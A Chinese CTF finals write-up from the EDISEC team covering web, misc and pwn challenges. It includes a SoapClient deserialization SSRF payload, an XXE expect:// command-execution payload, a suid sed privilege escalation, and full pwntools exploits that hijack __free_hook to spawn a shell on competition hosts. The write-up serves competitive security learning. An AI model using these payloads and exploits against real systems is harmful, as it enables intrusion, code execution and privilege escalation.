第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

admin 2024年5月19日01:42:21评论5 views字数 32064阅读106分52秒阅读模式

EDI

JOIN US ▶▶▶

招新

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。

欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn 方向的师傅)有意向的师傅请联系邮箱root@edisec.net、[email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。

点击蓝字 ·  关注我们

01

Web

1

message_board

代码做了enphp加密,首先工具解混淆

审计一下,Db.php里面insert没过滤直接插入了,存在insert注入,insert调用点一共有两个,一个是注册,一个是发布。

注册这里有个Utils::*getIp*(),在Utils.php实现且存在xff头伪造,题目修复可以对getIp的返回值做过滤,使其无法进行sql注入

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

所以我们可以在注册点进行sql注入,在另一个发布功能的注入点是在author,也就是用户名,但注册时对用户名进行了过滤,所以我们需要使用xxf的insert来绕过,从而利用newPost处的注入。

查看admin的登录逻辑,密码为弱口令password,直接登录会显示不允许异地登陆,对登录的ip进行了限制

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

第一个想到的就是ssrf,而ssrf可用通过原生类SoapClient反序列化触发__call,全局搜索unserialize可以找到Utils.php下result2ContentArray函数存在反序列化并调用toArray

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

result2ContentArray在getPosts处被调用

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

我们通过insert注入来控制content就能触发到反序列化,从而实现ssrf

先生成反序列化数据

<?php$target = 'http://127.0.0.1/index.php?s=login';$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^Cookie: PHPSESSID=edisec^^Content-Length: 32^^^^username=admin&password=password','uri'=> "a"));$a = serialize($b);$a = str_replace('^^',"rn",$a);$a = str_replace('&', '%26', $a);echo bin2hex(urldecode($a));?>

编写注入payload并再次hex编码,然后xff头处进行注入,完成准备工作

然后登录恶意用户,发布并获取,触发反序列化,这时我们就可以使用phpsession=edisec登录admin了

在后台用户存在mysql配置修改,猜测应该是连接恶意mysql进行任意文件读取,但没下对应工具没有实操

2

babyweb

php的cms,在忘记用户那可以枚举用户名测试存在用户,并看到注册的邮箱,由于使用公共环境,所以跑出来的用户有点多,但有一个administrator用户的邮箱为[email protected],应该是管理员没跑了。

创个账号进去,在源码那找到一个market.php,访问提示需要管理员,那就看忘记密码功能。

忘记密码时会发送一个token到邮箱,填写token来重置密码。功能参数为email,且不检查用户session,可以发送两个email,一个为自己的,一个为[email protected],使用自己邮箱内的token来重置管理员的密码。

进入后台后看到订单管理,已经有上一队帮我买好了flag和赠礼两个商品。查看flag给了一个地址。查看地址,是一个文件上传功能,白名单过滤,但允许上传svg类型图片,结合之前的赠礼提示应该是svg的xxe漏洞结合expect进行命令执行。

因为expect格式的特性,直接echo写shell没成功,所以先上传一个png,然后mv这个png为php即可

payloiad:

<?xml version="1.0" encoding="utf-8"?>    <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://mv$IFSxx.png$IFSxx.php" >]><root><name>&xxe;</name></root>

蚁剑连接,ls -l查看flag为root权限,suid提权,找到sed存在suid,使用命令sed -e ‘’ flag.txt获得flag

02

Misc

1

Twin shadow

mp3文件,有点大,先拿去binwalk一下,分离出一个png文件

拖到stegsolve里敲一敲,lsb隐写,分离一下

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

分离一个zip出来,但需要密码,只能调头再看一看mp3文件,拖到010里面看看,发现private_bit里面有数据,但很多且间隔大小不同

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

先从010里面把数据导出csv里面,把size读到一个list里面,改下脚本,从list里面获取step

import reimport binasciin = 598795result = ''fina = ''f=open('list.txt','r').read()steps=f.split("n")step_list=[]for i in steps:    step_list.append(int(i,16))file = open('1.mp3','rb')num=0while num < len(step_list) :    file.seek(n,0)    n += step_list[num]    file_read_result = file.read(1)    read_content = bin(ord(file_read_result))[-1]    result = result + read_content    num+=1print(result)

随便扔1000个进去,再把多余0删了,然后解一下

import refina = ''result = '01010100010010000110010100101101010100000110111101110111011001010101001000101101011101000110111100101101010000100101001001100101011000010110101100101101011101000100100001100101001011010100011001100001011101000110010100101101001100010101001100101101010100110111010101010010011001010110110001011001001011010110110000110001011010110110010100101101011101000100100000110011001011010100001001001100010000010100010000110011001000000011011101101111001011010110001001100101001000000110110100110000011101100011001101000100001000000100010001001111010101110110111000000000'textArr = re.findall('.{'+str(8)+'}', result)# textArr.append(result[(len(textArr)*8):])for i in textArr:    fina = fina + chr(int(i,2)).strip('n')print(fina)

得到 THe-PoweR-to-BReak-tHe-Fate-1S-SuRelY-l1ke-tH3-BLAD3 7o-be m0v3D DOWn

用它解开zip后,得到The key is the same as the zip but in the dark side(RC4).txt

应该是使用zip的密码进行rc4解密,试了几个格式后,用sha1加密后为rc4密钥,解密得flag

03

PWN

1

pwn_ad3

打开ida 简单分析 看着像是llvm套的vm(蚌埠住了)

vm初始化伪代码如下

_DWORD *__fastcall sub_1530(__int64 a1, int a2, int a3){  _DWORD *v4; // rbp  int v5; // r12d  int v6; // eax  bool v8; // [rsp+Eh] [rbp-3Ah]  bool v9; // [rsp+Fh] [rbp-39h]  v4 = calloc(1uLL, 0x20F0uLL);  v8 = (((_BYTE)dword_628C * ((_BYTE)dword_628C - 1)) & 1) == 0;  v5 = 2112114787;  if ( (((_BYTE)dword_628C * ((_BYTE)dword_628C - 1)) & 1) == 0 )    v5 = 534868956;  v9 = dword_6294 < 10;  if ( dword_6294 < 10 )    v5 = 534868956;  v6 = 1909852961;  do  {LABEL_9:    if ( v6 != 1909852961 )    {      if ( v6 == 2112114787 )      {        *(_QWORD *)v4 = a1;        v4[2] = a2;        *((_QWORD *)v4 + 2) = calloc(a3, 4uLL);        v4[6] = a3;        v6 = -483786444;        break;      }      goto LABEL_20;    }    v6 = 2112114787;    if ( v9 )      v6 = -483786444;    if ( v8 )      v6 = -483786444;  }  while ( v6 > 1909852960 );  while ( v6 == -483786444 )  {    *(_QWORD *)v4 = a1;    v4[2] = a2;    *((_QWORD *)v4 + 2) = calloc(a3, 4uLL);    v4[6] = a3;    v6 = v5;    if ( v5 > 1909852960 )      goto LABEL_9;  }  if ( v6 != 534868956 )  {    while ( 1 )LABEL_20:      ;  }  return v4;}

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

因此我们只需要看细节初始化的地方就行了,sub_1530总结如下

//a1=main函数的栈地址(也是我们输入vmcode的地址)   a2=40000   a3=0sub_1530:_DWORD *v4;v4 = calloc(1uLL, 0x20F0uLL);*(_QWORD *)v4 = a1;v4[2] = a2;*((_QWORD *)v4 + 2) = calloc(a3, 4uLL);v4[6] = a3;*(_QWORD *)v4 = a1;v4[2] = a2;*((_QWORD *)v4 + 2) = calloc(a3, 4uLL);v4[6] = a3;return v4;

写个简单的结构体导入一下(control+f9)(也根据vm run函数的处理过程做修改)

struct vm{  int *code_addr;  int size;  int *regs;  int r_num;  int stack[0x830];};

上面的代码就变为:

v4->code_addr = (int *)a1;v4->size = a2;v4->regs = (int *)calloc(a3, 4uLL);v4->r_num = a3;

vm run函数也是llvm混淆过的

代码太多,就说下大体分析思路了

首先根据结构体数据赋值吧变量名改下(其实我也没有怎么改)

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

主要是opcode的取值赋值 比较 以及跳转 摸清 写个 目录就好了

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

v8就是opcode,根据v10的跳转

v22=v8   v30=0   v19=-1.  v21=-1

然后 可以发现有很多个 v22和0,1,2,3,4 ········比较的地方

我们把我们想要的地方下上断点,然后,0~21逐个试一遍,程序断在我们想要的位置即可

比如在我们修改了regs这个指针的情况下,看到这样一条指令

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

一眼我们就可以看出来这个是 pop指令  regs指针为寄存器结构体地址指针,我们可以通过修改regs指针就可以造成任意地址读写,我们可以断点下在这里找到opcode对应的操作指令

我们可以用相同的方法找到  (push 立即数),(push寄存器),(pop 寄存器) (打印栈值)这4种指令即可完成利用

   def push(a):               return p32(9)+p32(a)       def push_r(a):               return p32(0xb)+p32(a)      def pop_r(a):               return p32(0xd)+p32(a)        def again():               return p32(0x12)     def show(a):               return p32(0xe)*a

因为vm初始化的时候里面放入了栈地址(code地址) 以及heap地址,那么我们可以通过print打印出来

然后通过修改regs为栈地址泄露栈地址中的libc

最后再通过修改__regs为free_hook 或者 stack地址都可以完成最后的利用

EXP

#coding:utf-8import sysfrom pwn import *from ctypes import CDLLcontext.log_level='debug'elfelf='./chall'#context.arch='amd64'libc_base=0heap_base=0idx=0x10while True :  # try :    elf=ELF(elfelf)    context.arch=elf.arch    gdb_text='''      b *$rebase(0x1410)      '''    if len(sys.argv)==1 :      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')      io=process(elfelf)      gdb_open=1      # io=process(['./'],env={'LD_PRELOAD':'./'})      clibc.srand(clibc.time(0))      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')      # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]    else :      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')      io=remote('172.16.9.5',9092)      gdb_open=0      clibc.srand(clibc.time(0))      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')      # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]    def gdb_attach(io,a):      if gdb_open==1 :        gdb.attach(io,a)        sleep(0.5)    def push(a):      return p32(9)+p32(a)    def push_r(a):      return p32(0xb)+p32(a)    def pop_r(a):      return p32(0xd)+p32(a)    def again():      return p32(0x12)    def show(a):      return p32(0xe)*a    gdb_attach(io,gdb_text)    io.sendafter('input: ',show(7)+again())    io.recvuntil('0n')    heap_addr1=int(io.recv(5)[:-1],16)    heap_addr2=int(io.recv(8),16)+0x20    io.recvuntil('9c40n')    stack_addr1=int(io.recv(5)[:-1],16)    stack_addr2=int(io.recv(8),16)+0x9C58    pay=show(3)+push(stack_addr2)+push(stack_addr1)    pay+=push_r(0)+push_r(1)+show(4)+push(heap_addr2)+push(heap_addr1)    io.sendafter('input: ',pay+again())    io.recvuntil('n')    io.recvuntil('n')    io.recvuntil('n')    libc1=int(io.recv(5)[:-1],16)    libc_base=int(io.recv(8),16)-0x23f90-243    libc.address=libc_base    bin_sh_addr=libc.search('/bin/shx00').next()    system_addr=libc.sym['system']    free_hook_addr=libc.sym['__free_hook']    pay=show(3)+push(free_hook_addr-8)+push(libc1)    pay+=push(u32('/bin'))+pop_r(0)    pay+=push(u32('/shx00'))+pop_r(1)    pay+=push(system_addr)+pop_r(2)    pay+=push(libc1)+pop_r(3)    io.sendafter('input: ',pay+again())    # success('libc_base:'+hex(libc_base))    success('heap_base:'+hex(heap_base))    # success('stack_addr:'+hex((stack_addr1<<32)+stack_addr2))    io.interactive()  # except Exception as e:  #   io.close()  #   continue  # else:  #   continue

2

sitnote

这个题目只能说一言难尽,线下赛也能把✋🏻伸进libc里面可还行

赛场上是这个样子的,题目下来,llvm,然后开始跑脚本去llvm

去了两个函数之后程序大体逻辑,显现出来了,菜单堆,但是没有打印菜单。

// local variable allocation has failed, the output may be wrong!int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  __int64 v3; // rcx  __int64 v4; // rdx  __int64 v5; // rcx  unsigned __int64 v6; // rdi  __int64 v7; // rsi  __int64 v8; // rax  int v9; // eax  __int64 v10; // rcx  __int64 v11; // rsi  __int64 v12; // rdi  __int64 v13; // rsi  __int64 v14; // rcx  __int64 v15; // rsi  __int64 v16; // rdi  int v17; // esi  __int64 v18; // rax  int v19; // eax  _DWORD v20[6]; // [rsp+0h] [rbp-130h] BYREF  __int64 *v21; // [rsp+18h] [rbp-118h]  int i; // [rsp+E0h] [rbp-50h]  char v23; // [rsp+E6h] [rbp-4Ah]  bool v24; // [rsp+E7h] [rbp-49h]  _DWORD *v25; // [rsp+E8h] [rbp-48h]  __int64 *v26; // [rsp+F0h] [rbp-40h]  __int64 v27; // [rsp+F8h] [rbp-38h]  v4 = (unsigned int)(dword_6C2688 - 1);  v23 = ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0;  v24 = dword_6C2690 < 10;  v3 = 112080690LL;  LOBYTE(argv) = 0;  LOBYTE(argc) = 0;  LOBYTE(v4) = 1;  if ( !((dword_6C2690 < 10 && (v23 & 1) != 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~v23) & 1) )    goto LABEL_34;  while ( 1 )  {    v25 = &v20[-4];    v26 = (__int64 *)&v20[-4];    v20[-4] = 0;    init(*(_QWORD *)&argc, argv, v4, v3);    v3 = 2845733290LL;    v4 = 3632247323LL;    LOBYTE(argv) = 1;    *(_QWORD *)&argc = (((_BYTE)dword_6C2688 - 7 + 6) * (_BYTE)dword_6C2688) & 1;    if ( (dword_6C2690 < 10 && argc == 0) | (dword_6C2690 < 10) ^ (argc == 0) )      break;LABEL_34:    v20[-4] = 0;    init(*(_QWORD *)&argc, argv, v4, v3);    i = 112080690;  }  for ( i = 99838845; ; i = 99838845 )  {    v5 = 3325517854LL;    LOBYTE(v4) = 1;    v6 = (unsigned int)dword_6C2690;    v7 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;    if ( !((dword_6C2690 < 10 && (_DWORD)v7 == 0) | (dword_6C2690 < 10) ^ ((_DWORD)v7 == 0)) )      goto LABEL_35;    while ( 1 )    {      v8 = read_long(v6, v7, v4, v5);      v5 = 3801052166LL;      v4 = 817338735LL;      v6 = (unsigned __int64)v26;      *v26 = v8;      v27 = *v26;      LOBYTE(v7) = 1;      if ( (dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~(((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) & 1 )        break;LABEL_35:      v18 = read_long(v6, v7, v4, v5);      v5 = (__int64)v26;      *v26 = v18;      i = -969449442;      v21 = v26;    }    i = 1818302425;    if ( v27 < 4 )    {      if ( v27 >= 2 )      {        v4 = v27;        if ( v27 >= 3 )        {          show(v6, v7, v27, 2777366289LL);          i = 115005891;          goto LABEL_31;        }        v10 = 23550316LL;        v11 = 0xFFFFFFFFLL;        v12 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;        LOBYTE(v4) = 1;        if ( (dword_6C2690 < 10 && (_DWORD)v12 == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~((_DWORD)v12 == 0)) & 1 )          goto LABEL_20;        while ( 1 )        {          edit(v12, v11, v4, v10);          i = 23550316;LABEL_20:          edit(v12, v11, v4, v10);          v10 = 3300370907LL;          v12 = (unsigned int)dword_6C2690;          v4 = 0xFFFFFFFFLL;          v11 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;          if ( (dword_6C2690 < 10) ^ ((_DWORD)v11 == 0) | (dword_6C2690 < 10 && (_DWORD)v11 == 0) )          {            i = 115005891;            goto LABEL_31;          }        }      }      if ( v27 == 1 )      {        add(v6, v7, 1LL, 3625747768LL);        i = 115005891;        goto LABEL_31;      }      goto LABEL_28;    }    if ( v27 >= 6 )    {      if ( v27 < 7 )      {        v14 = 2980125399LL;        v15 = (unsigned int)dword_6C2690;        v16 = (unsigned int)(dword_6C2688 - 1);        v4 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;        if ( (dword_6C2690 < 10) ^ ((_DWORD)v4 == 0) | (dword_6C2690 < 10 && (_DWORD)v4 == 0) )        {LABEL_26:          sub_401650(v16, v15, v4, v14);          v14 = 3602426981LL;          v16 = (unsigned int)dword_6C2690;          v15 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;          LOBYTE(v4) = 1;          if ( (dword_6C2690 < 10 && (_DWORD)v15 == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~((_DWORD)v15 == 0)) & 1 )          {            i = 115005891;            goto LABEL_31;          }        }        sub_401650(v16, v15, v4, v14);        i = -1314841897;        goto LABEL_26;      }      v9 = -1976565134;      if ( v27 == 7 )        v9 = 1617921039;      i = v9;LABEL_28:      i = -1369147532;      v17 = (((_BYTE)dword_6C2688 - 120 + 119) * (_BYTE)dword_6C2688) & 1;      if ( !((dword_6C2690 < 10 && v17 == 0) | (dword_6C2690 < 10) ^ (v17 == 0)) )        goto LABEL_39;      while ( 1 )      {        sub_40B960("Unknown");        v4 = 2208571241LL;        if ( (dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~(((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) & 1 )        {          i = 115005891;          goto LABEL_31;        }LABEL_39:        v19 = sub_40B960("Unknown");        i = 2025167804;        v20[5] = v19;      }    }    if ( v27 >= 5 )    {      v13 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;      if ( (dword_6C2690 < 10) ^ ((_DWORD)v13 == 0) | (dword_6C2690 < 10 && (_DWORD)v13 == 0) )        backdoor(0LL, v13, 0xFFFFFFFFLL, 3012737502LL);      backdoor(0LL, v13, 0xFFFFFFFFLL, 3012737502LL);    }    delete(v6, v7, v27, 839414269LL);    i = 115005891;LABEL_31:    if ( !((dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~(((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) & 1) )      goto LABEL_40;    while ( !((dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | (dword_6C2690 < 10) ^ (((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) )LABEL_40:      i = 1652216043;  }}

虽然去过之后还是一坨答辩,但是已经是相当不错了,清晰的 if比较从1到6的指向

简单看了add  delete  edit  show 都没有漏洞,点开后门发现llvm去了之后也是难以分析清楚

__int64 __fastcall sub_401650(__int64 a1, __int64 a2){  v31 = ((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0;  v32 = dword_6C268C < 10;  if ( !(((dword_6C268C < 10) ^ v31) & 1 | (dword_6C268C < 10 && v31)) )    goto LABEL_17;  while ( 1 )  {    v33 = v23;    v2 = &v23[-16];    v34 = &v23[-16];    v35 = dword_6C1330 != 0;    v3 = dword_6C268C;    v4 = dword_6C2680 - 1233492817 + 1233492816;    v5 = (((_BYTE)dword_6C2680 - 81 + 80) * (_BYTE)dword_6C2680) & 1;    LOBYTE(a2) = (dword_6C268C < 10) ^ (v5 == 0);    if ( (unsigned __int8)a2 | (dword_6C268C < 10 && v5 == 0) )      break;LABEL_17:    v30 = -74059996;  }  LOBYTE(v2) = v35;  if ( v35 )  {    result = sub_40B960("You have use the backdoor once");    v30 = 646810775;    v29 = result;  }  else  {    dword_6C1330 = 1;    *(_QWORD *)v33 = 0LL;    v28 = printf((unsigned int)"Input: ", a2, (_DWORD)v2, 1528823701, v3, v4, v23[0]);    v9 = read_long("Input: ", a2, v7, v8);    *(_QWORD *)v33 = v9;    if ( *(_QWORD *)v33 >= 0x10uLL )      goto LABEL_9;    if ( !((dword_6C268C < 10) ^ (((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0) | (dword_6C268C < 10                                                                                                && ((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0)) )      goto LABEL_18;    while ( 1 )    {      v10 = *(_QWORD *)v33;      v36 = (&buf)[*(_QWORD *)v33] == 0LL;      v11 = dword_6C2680 - 633399322 + 633399321;      v12 = (((_BYTE)dword_6C2680 - 26 + 25) * (_BYTE)dword_6C2680) & 1;      if ( (dword_6C268C < 10) ^ (v12 == 0) | (dword_6C268C < 10 && v12 == 0) )        break;LABEL_18:      v30 = 906460608;      v26 = v33;    }    if ( v36 )    {LABEL_9:      v13 = (((_BYTE)dword_6C2680 - 103 + 102) * (_BYTE)dword_6C2680) & 1;      if ( !((dword_6C268C < 10) ^ (v13 == 0) | (dword_6C268C < 10 && v13 == 0)) )        goto LABEL_19;      while ( 1 )      {        result = 860644631LL;        if ( (dword_6C268C < 10) ^ (((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0) | (dword_6C268C < 10 && ((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0) )          break;LABEL_19:        v30 = -206821341;      }      v30 = 646810775;    }    else    {      v14 = -2078560568;      v15 = dword_6C2680 - 1692356262 + 1692356261;      v16 = (((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1;      LOBYTE(v11) = 0;      LOBYTE(v10) = 1;      if ( !((dword_6C268C < 10 && (_DWORD)v16 == 0) | ((unsigned __int8)~(dword_6C268C < 10) ^ (unsigned __int8)~((_DWORD)v16 == 0)) & 1) )        goto LABEL_20;      while ( 1 )      {        v27 = printf((unsigned int)"Input: ", v16, v10, v14, v15, v11, v23[0]);        v19 = read_long("Input: ", v16, v17, v18);        v14 = 307732780;        LODWORD(v10) = 847373277;        *(_QWORD *)v34 = v19;        v37 = *(_QWORD *)v34 < count[*(_QWORD *)v33];        v16 = 0xFFFFFFFFLL;        v11 = (((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1;        LOBYTE(v15) = (dword_6C268C < 10) ^ (v11 == 0);        if ( (unsigned __int8)v15 | (dword_6C268C < 10 && v11 == 0) )          break;LABEL_20:        v25 = printf((unsigned int)"Input: ", v16, v10, v14, v15, v11, v23[0]);        v22 = read_long("Input: ", v16, v20, v21);        *(_QWORD *)v34 = v22;        v30 = -2078560568;        v24 = v34;      }      result = 646810775LL;      if ( v37 )      {        result = *(_QWORD *)v34;        count[*(_QWORD *)v33] = *(_QWORD *)v34;        v30 = 646810775;      }    }  }  return result;}

额也看不是很懂,索性直接patch掉main函数调用后门的地方,然后还被脚本利用成功了,此时怀疑是libc有问题,查看了下编译的libc,是18.04的直接本地拖了一个相应的libc开始 bindiff  对着ida开始看 malloc  free

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

问题出在这里

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

对着本地malloc的源码看的。

把一个chunk放了两次进tcache bin 并且 couts[tc_idx]+=2

所以这个题就简单了,从fastbin 取出的时候出了个bug 因此申请9个chunk 然后全delete

再申请8个,第九个就放到tcache两次了就 想当于double free

之后就随便做了,patch的方法也很简单照着源码给他还原成放一个回去即可。

EXP

#coding:utf-8import sysfrom pwn import *from ctypes import CDLLcontext.log_level='debug'elfelf='./sitnote'#context.arch='amd64'libc_base=0heap_base=0while True :  # try :    elf=ELF(elfelf)    context.arch=elf.arch    gdb_text='''      telescope $rebase(0x202040) 16      '''    if len(sys.argv)==1 :      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')      io=process(elfelf)      gdb_open=1      # io=process(['./'],env={'LD_PRELOAD':'./'})      clibc.srand(clibc.time(0))      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')      # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]    else :      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')      io=remote('172.16.9.5',9095)      gdb_open=0      clibc.srand(clibc.time(0))      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')      # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]    def gdb_attach(io,a):      if gdb_open==1 :        gdb.attach(io,a)    def choice(a):      sleep(0.1)      io.sendline(str(a))    def add(a,b):      choice(1)      io.sendlineafter('Input: ',str(a))      io.sendlineafter('Input: ',str(b))    def edit(a,b):      choice(2)      io.sendlineafter('Input: ',str(a))      io.sendafter('Output: ',b)    def show(a):      choice(3)      io.sendlineafter('Input: ',str(a))    def delete(a):      choice(4)      io.sendlineafter('Input: ',str(a))    for i in range(0xa):      add(i,0x78)    for i in range(9):      delete(i)    for i in range(0x9):      add(i,0x78)    add(10,0x78)    delete(9)    delete(10)    edit(8,p64(0x6c1ec8))    add(9,0x78)    add(10,0x78)    edit(9,'/bin/shx00')    edit(10,p64(0x40ab70))    delete(9)    success('libc_base:'+hex(libc_base))    success('heap_base:'+hex(heap_base))    gdb_attach(io,gdb_text)    io.interactive()  # except Exception as e:  #   io.close()  #   continue  # else:  #   continue

3

message_system

这是个线程管道题目,可以建立管道通信的题目 关键部分在于 线程处理和线程链接处,以及gift调用处

首先是去简单混淆的idapython代码

start=0x11f7end=0x5e30for addr in idautils.Heads(start, end):  if 'call    sub_1158' == idc.GetDisasm(addr):    addr1=addr    addr3=addr+5    while True:      addr2=addr1      addr1=idc.prev_head(addr1)      if 'mov     r12, [rbp+' in idc.GetDisasm(addr1):        addr2=addr1        addr1=idc.prev_head(addr1)        addr2=addr1        addr1=idc.prev_head(addr1)        break    if 'mov     rax,'in idc.GetDisasm(addr1):      call_addr=0      call_addr+=idc.get_wide_byte(addr1+3)      call_addr+=(idc.get_wide_byte(addr1+4)<<8)      call_addr+=(idc.get_wide_byte(addr1+5)<<16)      call_addr+=(idc.get_wide_byte(addr1+6)<<24)      call_addr+=addr2      call_addr=idc.get_wide_word(call_addr)      print(hex(call_addr))      print(idc.GetDisasm(addr1))    if 'lea     rax,'in idc.GetDisasm(addr1):      call_addr=0      call_addr+=idc.get_wide_byte(addr1+3)      call_addr+=(idc.get_wide_byte(addr1+4)<<8)      call_addr+=(idc.get_wide_byte(addr1+5)<<16)      call_addr+=(idc.get_wide_byte(addr1+6)<<24)      call_addr+=addr2      # call_addr&=0xffffffff      print(hex(call_addr))      print(idc.GetDisasm(addr1))    value=call_addr-addr3    for i in range(4):      v1=(value>>(i*0x8))&0xff      idc.patch_byte(addr+1+i,v1)

去混淆之后ida就能看了

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

重点的只有选项1选项3选项10

先看1

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

首先这里是创建了主线程与即将创建线程链接的管道

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

我们可以看到,创建了两个管道,两个机构体参数分别存了不同管道的输入和输出,这样就定义了我们可以与新开的线程进行交互,具体进行交互的地方如下,

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

详情请看

https://blog.csdn.net/weixin_44471948/article/details/120846877

懒得写原理了,这个题就这一个主要知识点,这个不会就G,我是之前在学kernel pwn pipe_buffer的时候顺带看了一下pipe的原理。

说一下漏洞触发点吧

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

选项1里面创建的线程选项1和选项2分别可以造成线程栈的负数溢出

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

大家patch的时候也是把这里patch了就完事了改成无符号比较就OK了。

一个是从数据包中向栈上拷贝,另一个是从栈上向数据包中拷贝。

这两个都有一个前提是v15≤7,v15这个值从程序的调用来看每次都是定值0x10

所以我们需要绕过

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

在这个线程函数的最下方有个循环会逐次v15会逐次减一这么发包,这里就是很关键的要绕过的点。

然后我们看看具体细节,v24是存储线程内链接管道结构体的结构体组,这个可以根据上下文理解得来,

one是数据包取出的第一个4字节数据

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

当one不等于v24[0]也就是第一个管道链接结构体组的id时就会进入下面循环,

先看一下选项10

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

我们可以看到这个函数就是发送给0号并且从0号接收的,数据包的选项内容什么的是由我们自构造

one为 这个函数的里面我们输入的id    v14也就是包里的第二个数据是0第三个参数也就是v15是0x10

后面的数据包括线程里面的选项和其他数据都是我们自己去输入的。

那么我们看看如何构造,我们来看看链接函数。

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

我只能说这个link有一点点复杂,但是不难理解,id1 t_id1  id2 t_id2      4个id索引

就是id1  线程添加一个标号为t_id2,然后发送 id2 里面标号为 t_id2进行相互发送

因此我们可以构造

for i in range(0xf):      add(i,'keer','aaaa')for i in range(0x9):      link(i,9,i+1,0)我们创建了0xf个线程,然后,构成了这么一个回路线程0里面存的除了与主线程发送和接收主线程的管道还存储了id为9 但是发送和接收都是与线程1交互的结构体流线程1里面存的除了与主线程发送和接收主线程的管道还存储了id为9 但是发送和接收都是与线程2交互的结构体流···以此类推如果我们通过主线程的选项10向线程0发送一个id为9,选项为2的包,我们先看下,下列过程(线程中)

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

